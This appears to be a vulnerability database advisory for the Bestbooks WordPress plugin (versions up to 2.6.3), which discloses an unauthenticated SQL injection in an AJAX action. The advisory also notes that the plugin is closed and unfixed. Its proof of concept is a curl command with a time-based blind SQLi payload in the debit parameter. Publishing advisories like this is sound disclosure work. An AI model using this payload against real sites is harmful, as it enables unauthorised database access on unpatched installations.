WordPress Plugin Vulnerabilities
Bestbooks <= 2.6.3 - Unauthenticated SQLi
Description
The plugin does not sanitise and escape some parameters before using them in a SQL statement via an AJAX action, leading to an SQL Injection exploitable by unauthenticated users
Proof of Concept
Affected parameters: credit and debit
curl https://example.com/wp-admin/admin-ajax.php \
--data 'action=bestbooks_add_transaction&type=x&account=x&date=x&description=3&debit=(CASE WHEN (9277=9277) THEN SLEEP(5) ELSE 9277 END)&credit=1' Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-05-17 (about 6 months ago)
Added
2022-05-17 (about 6 months ago)
Last Updated
2022-05-18 (about 6 months ago)